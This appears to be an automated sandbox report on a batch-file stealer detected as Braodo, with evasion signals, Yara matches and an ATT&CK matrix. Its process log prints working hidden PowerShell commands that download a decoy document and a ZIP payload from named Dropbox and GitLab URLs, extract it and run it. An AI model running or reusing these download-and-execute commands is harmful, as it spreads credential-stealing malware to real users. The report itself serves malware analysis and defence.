                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4687Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5183Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3312Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2471Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4339Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5408Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5748Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1494Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2900Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 845Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852Thread sleep count: 4687 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852Thread sleep count: 5183 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5584Thread sleep time: -12912720851596678s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876Thread sleep count: 3312 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876Thread sleep count: 2471 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768Thread sleep time: -2767011611056431s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5912Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2292Thread sleep count: 4339 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3836Thread sleep count: 5408 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1524Thread sleep time: -14757395258967632s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1172Thread sleep count: 5748 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6176Thread sleep count: 1494 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6772Thread sleep time: -1844674407370954s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6004Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5836Thread sleep count: 2900 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5836Thread sleep count: 845 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3732Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: powershell.exe, 0000000C.00000002.2266123287.0000026A2F334000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
                  Source: powershell.exe, 0000000F.00000002.2377129314.0000027168A50000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWq
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Yara detected Powershell download and execute
                  Source: Yara matchFile source: amsi64_5876.amsi.csv, type: OTHER
                  Source: Yara matchFile source: amsi64_3948.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 5876, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3948, type: MEMORYSTR
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp.com 437Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe findJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe findJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I set "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I goto "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I echo "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I pause "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zip', 'c:\users\public\document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zip', 'c:\users\public\document.zip')"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior

                  Stealing of Sensitive Information

                  barindex
                  Yara detected Braodo
                  Source: Yara matchFile source: amsi64_3948.amsi.csv, type: OTHER
                  Source: Yara matchFile source: amsi64_652.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3948, type: MEMORYSTR

                  Remote Access Functionality

                  barindex
                  Yara detected Braodo
                  Source: Yara matchFile source: amsi64_3948.amsi.csv, type: OTHER
                  Source: Yara matchFile source: amsi64_652.amsi.csv, type: OTHER
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3948, type: MEMORYSTR

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information11
                  Scripting                  		Valid Accounts1
                  Command and Scripting Interpreter                  		11
                  Scripting                  		11
                  Process Injection                  		1
                  Masquerading                  		OS Credential Dumping11
                  Security Software Discovery                  		Remote ServicesData from Local System1
                  Encrypted Channel                  		Exfiltration Over Other Network MediumAbuse Accessibility Features
                  CredentialsDomainsDefault Accounts1
                  PowerShell                  		1
                  DLL Side-Loading                  		1
                  DLL Side-Loading                  		1
                  Modify Registry                  		LSASS Memory1
                  Process Discovery                  		Remote Desktop ProtocolData from Removable Media1
                  Ingress Tool Transfer                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)21
                  Virtualization/Sandbox Evasion                  		Security Account Manager21
                  Virtualization/Sandbox Evasion                  		SMB/Windows Admin SharesData from Network Shared Drive2
                  Non-Application Layer Protocol                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                  Process Injection                  		NTDS1
                  Application Window Discovery                  		Distributed Component Object ModelInput Capture3
                  Application Layer Protocol                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                  Obfuscated Files or Information                  		LSA Secrets1
                  File and Directory Discovery                  		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                  Install Root Certificate                  		Cached Domain Credentials11
                  System Information Discovery                  		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                  DLL Side-Loading                  		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  ⊘No Antivirus matches

                  Dropped Files

                  ⊘No Antivirus matches

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  https://uc09529f5e3b244b4704aaf91c74.dl.dropboxusercontent.com/cd/0/get/CghQiQjJ6jJTz2MU_KT5dxuUuqFT0%Avira URL Cloudsafe
                  https://uc09529f5e3b244b4704aaf91c74.dl.dropboxusercontent.com0%Avira URL Cloudsafe
                  http://www.apache.o0%Avira URL Cloudsafe
                  https://go.microp0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  gitlab.com
                  		172.65.251.78
                  		truefalse
                    		high
                    www-env.dropbox-dns.com
                    		162.125.69.18
                    		truefalse
                      		high
                      www.dropbox.com
                      		unknown
                      		unknownfalse
                        		high

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zipfalse
                          		high
                          https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1false
                            		high

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            http://gitlab.compowershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C4F000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://www.dropbox.com/service_worker.jspowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://gitlab.com/-/sandbox/;powershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://gitlab.com/users/sign_inpowershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://paper.dropbox.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://crl.microsoftpowershell.exe, 0000000F.00000002.2316901721.000002714EB06000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.dopowershell.exe, 0000000C.00000002.2246397443.0000026A153C6000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://www.hellofax.com/powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            https://pal-test.adyen.compowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.dropbox.compowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://paper.dropbox.com/cloud-docs/editpowershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
